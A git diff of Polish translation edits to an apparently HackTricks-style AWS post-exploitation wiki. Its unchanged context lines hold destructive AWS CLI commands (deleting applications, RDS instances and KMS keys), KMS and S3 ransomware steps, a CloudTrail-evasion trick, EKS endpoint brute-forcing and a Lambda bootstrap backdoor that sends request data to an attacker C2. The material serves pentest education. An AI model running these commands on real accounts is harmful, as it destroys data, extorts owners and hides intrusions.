--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - EFS Post Exploitation
+# AWS - EFS Po Eksploatacji
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 52dcbdf36..1bae1ed5f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - EKS Post Exploitation
+# AWS - EKS Po Eksploatacji
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji, sprawdź
 ../aws-services/aws-eks-enum.md
 {{#endref}}
 
-### Enumeracja klastra z konsoli AWS
+### Wyliczanie klastra z konsoli AWS
 
 Jeśli masz uprawnienia **`eks:AccessKubernetesApi`**, możesz **wyświetlać obiekty Kubernetes** za pośrednictwem konsoli AWS EKS ([Dowiedz się więcej](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
 
@@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev
 ```
 - Nie tak łatwy sposób:
 
-Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name <cluster_name>`**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpointu do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwy klastra**.
+Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name <cluster_name>`**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpoint do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwę klastra**.
 
 W moim przypadku nie znalazłem informacji w logach CloudWatch, ale **znalazłem je w LaunchTemplates userData** oraz w **maszynach EC2 w userData również**. Możesz łatwo zobaczyć te informacje w **userData**, na przykład w następnym przykładzie (nazwa klastra to cluster-name):
 ```bash
@@ -72,7 +72,7 @@ provideClusterInfo: false
 
 ### Z AWS do Kubernetes
 
-**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes w grupie **`system:masters`** (administrator k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**.
+**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes w grupie **`system:masters`** (admin k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**.
 
 Sposobem na przyznanie **dostępu do K8s dla większej liczby użytkowników lub ról AWS IAM** jest użycie **configmap** **`aws-auth`**.
 
@@ -93,12 +93,12 @@ Dekodując token JWT, uzyskujemy identyfikator klastra oraz region. ![image](htt
 ```bash
 https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 ```
-Nie znalazłem żadnej dokumentacji, która wyjaśniałaby kryteria dla 'dwóch znaków' i 'liczby'. Ale przeprowadzając kilka testów na własną rękę, zauważyłem, że te się powtarzają:
+Nie znalazłem żadnej dokumentacji, która wyjaśniałaby kryteria dla 'dwóch znaków' i 'liczby'. Ale robiąc kilka testów na własną rękę, zauważyłem, że te się powtarzają:
 
 - gr7
 - yl4
 
-W każdym razie to tylko 3 znaki, możemy je bruteforce'ować. Użyj poniższego skryptu do generowania listy.
+W każdym razie to tylko 3 znaki, możemy je zbruteforce'ować. Użyj poniższego skryptu do generowania listy.
 ```python
 from itertools import product
 from string import ascii_lowercase
@@ -114,7 +114,7 @@ for comb in product(letter_combinations, number_combinations)
 with open('out.txt', 'w') as f:
 f.write('\n'.join(result))
 ```
-Potem z wfuzz
+Następnie z wfuzz
 ```bash
 wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
 ```
@@ -123,21 +123,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
 
 ### Ominięcie CloudTrail
 
-Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wyjaśniono wcześniej, **`get-token`** nie generuje logów w CloudTrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie).
+Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wcześniej wyjaśniono, **`get-token`** nie generuje logów w Cloudtrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie).
 
 Więc kiedy atakujący rozmawia z klastrem EKS, **cloudtrail nie zarejestruje nic związanego z użytkownikiem, który został skradziony i uzyskuje do niego dostęp**.
 
-Zauważ, że **klaster EKS może mieć włączone logi**, które zarejestrują ten dostęp (chociaż domyślnie są one wyłączone).
+Zauważ, że **klaster EKS może mieć włączone logi**, które zarejestrują ten dostęp (chociaż domyślnie są wyłączone).
 
 ### EKS Okup?
 
 Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE będzie miała uprawnienia administratora** do klastra. I to jedyny "bezpieczny" dostęp, jaki AWS będzie miał do klastra Kubernetes.
 
-Więc, jeśli **atakujący przejmie kontrolę nad klastrem używając Fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**.
+Więc, jeśli **atakujący przejmie kontrolę nad klastrem używając fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**.
 
 > [!TIP]
 > Zauważ, że jeśli klaster używał **maszyn EC2**, możliwe byłoby uzyskanie uprawnień administratora z **Węzła** i odzyskanie klastra.
 >
-> W rzeczywistości, jeśli klaster używa Fargate, możesz użyć węzłów EC2 lub przenieść wszystko do EC2 do klastra i odzyskać go, uzyskując dostęp do tokenów w węźle.
+> W rzeczywistości, jeśli klaster używa Fargate, możesz EC2 węzły lub przenieść wszystko do EC2 do klastra i odzyskać go, uzyskując dostęp do tokenów w węźle.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index dc3a21951..137be38b7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -15,7 +15,7 @@ Aby uzyskać więcej informacji:
 > [!NOTE]
 > TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
 
-Atakujący z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Ta akcja może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone.
+Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Działanie to może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone.
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
@@ -37,7 +37,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
 > [!NOTE]
 > TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
 
-Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Ta akcja może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie są one zabezpieczone.
+Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Działanie to może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie są one zabezpieczone.
 ```bash
 aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
 ```
@@ -46,9 +46,9 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
 ### `elasticbeanstalk:SwapEnvironmentCNAMEs`
 
 > [!NOTE]
-> TODO: Sprawdzić, czy wymagane są dodatkowe uprawnienia
+> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
 
-Napastnik z uprawnieniem `elasticbeanstalk:SwapEnvironmentCNAMEs` może **zamienić rekordy CNAME dwóch środowisk Elastic Beanstalk**, co może spowodować, że użytkownicy otrzymają niewłaściwą wersję aplikacji lub prowadzić do niezamierzonego zachowania.
+Atakujący z uprawnieniem `elasticbeanstalk:SwapEnvironmentCNAMEs` może **zamienić rekordy CNAME dwóch środowisk Elastic Beanstalk**, co może spowodować, że użytkownicy otrzymają niewłaściwą wersję aplikacji lub prowadzić do niezamierzonego zachowania.
 ```bash
 aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
 ```
@@ -57,9 +57,9 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
 ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
 
 > [!NOTE]
-> TODO: Przetestować, czy wymagane są dodatkowe uprawnienia
+> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
 
-Napastnik z uprawnieniami `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` może **dodawać lub usuwać tagi na zasobach Elastic Beanstalk**. Działanie to może prowadzić do niewłaściwej alokacji zasobów, rozliczeń lub zarządzania zasobami.
+Atakujący z uprawnieniami `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` może **dodawać lub usuwać tagi na zasobach Elastic Beanstalk**. Działanie to może prowadzić do niewłaściwej alokacji zasobów, rozliczeń lub zarządzania zasobami.
 ```bash
 aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index a8c19a5d4..89d94121c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -14,11 +14,11 @@ Aby uzyskać więcej informacji na temat dostępu IAM:
 
 Jeśli **zezwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w swoim koncie, prawdopodobnie będziesz miał **0 widoczności** na to, **kto dokładnie może uzyskać dostęp do tego zewnętrznego konta**. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do zewnętrznego konta (A), istnieje możliwość, że **B również będzie mogło uzyskać dostęp do twojego konta**.
 
-Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, można określić `ExternalId`. To jest "tajny" ciąg, który zewnętrzne konto (A) **musi określić**, aby **przyjąć rolę w twojej organizacji**. Ponieważ **zewnętrzne konto B nie zna tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do twojej roli**.
+Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, można określić `ExternalId`. To jest "tajny" ciąg, który zewnętrzne konto (A) **musi określić**, aby **przyjąć rolę w twojej organizacji**. Ponieważ **zewnętrzne konto B nie będzie znało tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do twojej roli**.
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł go zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, **zapobiega to nadużywaniu A przez B w celu uzyskania dostępu do twojej roli**.
+Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł to zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A, aby uzyskać dostęp do twojej roli**.
 
 Przykład:
 ```json
@@ -41,7 +41,7 @@ Przykład:
 > [!WARNING]
 > Aby atakujący mógł wykorzystać zdezorientowanego zastępcę, musi w jakiś sposób ustalić, czy podmioty bieżącego konta mogą udawać role w innych kontach.
 
-### Nieoczekiwane Zaufania
+### Nieoczekiwane zaufania
 
 #### Wildcard jako podmiot
 ```json
@@ -62,7 +62,7 @@ Ta polityka **zezwala wszystkim AWS** na przyjęcie roli.
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway, aby wywołać tę Lambdę.
+Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tego Lambda.
 
 #### S3 jako główny
 ```json
@@ -73,7 +73,7 @@ Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway,
 }
 }
 ```
-Jeśli kubeł S3 jest podany jako główny, ponieważ kubełki S3 nie mają identyfikatora konta, jeśli **usunięto twój kubeł, a atakujący utworzył** go na swoim koncie, mogliby to wykorzystać.
+Jeśli kubeł S3 jest podany jako główny, ponieważ kubełki S3 nie mają identyfikatora konta, jeśli **usunąłeś swój kubeł, a atakujący go stworzył** na swoim koncie, mogliby to wykorzystać.
 
 #### Nieobsługiwane
 ```json
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index ec213a02f..1e6178dd2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -38,7 +38,7 @@ aws kms decrypt \
 --query Plaintext | base64 \
 --decode
 ```
-- Używanie klucza **asymetrycznego**:
+- Używając klucza **asymetrycznego**:
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -65,7 +65,7 @@ Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę
 Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie.
 
 > [!WARNING]
-> Zauważ, że **klucze zarządzane przez AWS nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
+> Zauważ, że **zarządzane przez AWS klucze nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
 
 > Zauważ również potrzebę użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI).
 ```bash
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 }
 ```
 > [!CAUTION]
-> Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko zewnętrznemu kontu, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie**.
+> Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko do zewnętrznego konta, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie**.
 
 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
 
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
 
 - Utwórz nowy **klucz z materiałem klucza** importowanym przez atakującego
-- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nowym.
+- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nową.
 - **Usuń klucz KMS**
 - Teraz tylko atakujący, który ma oryginalny materiał klucza, mógłby odszyfrować zaszyfrowane dane
 
@@ -117,8 +117,8 @@ aws kms schedule-key-deletion \
 --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
 --pending-window-in-days 7
 ```
-> [!CAUTION]
-> Zauważ, że AWS teraz **zapobiega wykonywaniu poprzednich działań z konta krzyżowego:**
+> [!OSTRZEŻENIE]
+> Zauważ, że AWS teraz **zapobiega wykonywaniu poprzednich działań z konta zewnętrznego:**
 
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 09d7d25f4..5e82c21f1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### Kradzież Żądań URL Lambda Innych Użytkowników
 
-Jeśli atakującemu uda się w jakiś sposób uzyskać RCE wewnątrz Lambdy, będzie mógł ukraść żądania HTTP innych użytkowników do lambdy. Jeśli żądania zawierają wrażliwe informacje (ciasteczka, dane uwierzytelniające...), będzie mógł je ukraść.
+Jeśli atakującemu uda się w jakiś sposób uzyskać RCE wewnątrz Lambdy, będzie mógł ukraść inne żądania HTTP użytkowników do lambdy. Jeśli żądania zawierają wrażliwe informacje (ciasteczka, dane uwierzytelniające...), będzie mógł je ukraść.
 
 {{#ref}}
 aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index e1c66f0d1..2df03d3b8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -14,7 +14,7 @@
 3. **bootstrap.py** ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (**`/next`**).
 4. Na koniec **bootstrap.py** wysyła do init **odpowiedź**
 
-Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu realizowane przez kod użytkownika odbywają się w tym procesie.
+Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc każde wykonanie kodu przez kod użytkownika odbywa się w tym procesie.
 
 ## Kradzież Żądań Lambda
 
@@ -26,14 +26,14 @@ To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany p
 - Żądanie musi być wysłane do **`/${invoke-id}/response`**
 - invoke-id można uzyskać ze stosu legitnego procesu **`bootstrap.py`** za pomocą modułu [**inspect**](https://docs.python.org/3/library/inspect.html) w Pythonie (jak [proponowano tutaj](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) lub po prostu ponownie żądając go do **`/2018-06-01/runtime/invocation/next`** (jak [proponowano tutaj](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
 - Wykonać złośliwy **`boostrap.py`**, który obsłuży następne wywołania
-- Dla celów stealth można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
+- Dla celów ukrycia można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
 - Do tego ataku wystarczy pobrać oryginalny kod **`bootstrap.py`** z systemu lub [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda.
 
 ### Kroki Ataku
 
-1. Znaleźć **RCE** podatność.
-2. Wygenerować **złośliwy** **bootstrap** (np. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
-3. **Wykonać** złośliwy bootstrap.
+1. Znajdź podatność **RCE**.
+2. Wygeneruj **złośliwy** **bootstrap** (np. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
+3. **Wykonaj** złośliwy bootstrap.
 
 Możesz łatwo wykonać te działania, uruchamiając:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index 64d85126b..702805cc6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -21,7 +21,7 @@ Lub **wyeksportuj migawkę do AMI w EC2** i postępuj zgodnie z krokami typowej
 
 ### Uzyskaj dostęp do wrażliwych informacji
 
-Sprawdź opcje privesc Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji:
+Sprawdź opcje privesc w Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-lightsail-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index 1143e21eb..240434ba0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Organizations Post Exploitation
+# AWS - Organizacje Po Eksploatacji
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji na temat AWS Organizations, sprawdź:
 ../aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### Opuszczenie organizacji
+### Opuszczenie Organizacji
 ```bash
 aws organizations deregister-account --account-id <account_id> --region <region>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 162792e1e..081744246 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -40,7 +40,7 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Napastnik z tymi uprawnieniami mógłby **utworzyć migawkę DB** i uczynić ją **dostępną publicznie**. Następnie mógłby po prostu utworzyć w swoim własnym koncie DB z tej migawki.
+Napastnik z tymi uprawnieniami mógłby **utworzyć migawkę DB** i uczynić ją **publicznie** **dostępną**. Następnie mógłby po prostu utworzyć w swoim własnym koncie DB z tej migawki.
 
 Jeśli napastnik **nie ma `rds:CreateDBSnapshot`**, nadal mógłby uczynić **inne** utworzone migawki **publicznymi**.
 ```bash
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
 
 ### `rds:DeleteDBInstance`
 
-Napastnik z tymi uprawnieniami może **spowodować DoS istniejących instancji RDS**.
+Napastnik z tymi uprawnieniami może **wykonać DoS na istniejących instancjach RDS**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 6a69d87ed..18aece979 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -17,17 +17,17 @@ Czasami będziesz w stanie znaleźć wrażliwe informacje w odczytywalnych bucke
 ### Pivoting
 
 Różne platformy mogą używać S3 do przechowywania wrażliwych zasobów.\
-Na przykład, **airflow** może przechowywać **kod DAG** w tym miejscu, lub **strony internetowe** mogą być bezpośrednio serwowane z S3. Atakujący z uprawnieniami do zapisu może **zmodyfikować kod** z bucketa, aby **pivotować** do innych platform lub **przejąć konta**, modyfikując pliki JS.
+Na przykład, **airflow** może przechowywać **kod DAGów** tam, lub **strony internetowe** mogą być bezpośrednio serwowane z S3. Atakujący z uprawnieniami do zapisu może **zmodyfikować kod** z bucketa, aby **pivotować** do innych platform lub **przejąć konta**, modyfikując pliki JS.
 
-### S3 Ransomware
+### Ransomware S3
 
-W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, co pozwala każdemu użytkownikowi AWS, roli lub koncie na szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane.
+W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, umożliwiając każdemu użytkownikowi AWS, roli lub koncie szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane.
 
-Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, korzystając z różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne.
+Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, używając różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne.
 
-Aby określić, czy bucket może być celem dla ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączone i czy **wieloskładnikowe uwierzytelnianie usuwania (MFA delete) jest włączone**. Jeśli wersjonowanie obiektów nie jest włączone, atakujący może kontynuować. Jeśli wersjonowanie obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć wersjonowanie obiektów**. Jeśli zarówno wersjonowanie obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie.
+Aby określić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **Wersjonowanie Obiektów S3** jest włączone i czy **usunięcie z uwierzytelnieniem wieloskładnikowym (MFA delete) jest włączone**. Jeśli Wersjonowanie Obiektów nie jest włączone, atakujący może kontynuować. Jeśli Wersjonowanie Obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć Wersjonowanie Obiektów**. Jeśli zarówno Wersjonowanie Obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie.
 
-Korzystając z API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią za pomocą swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.
+Używając API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią za pomocą swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.
 
 Aby wywrzeć dodatkową presję, atakujący planuje usunięcie klucza KMS używanego w ataku. Daje to celowi 7-dniowy okres na odzyskanie danych przed usunięciem klucza i trwałą utratą danych.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index f1649bc76..606eea309 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
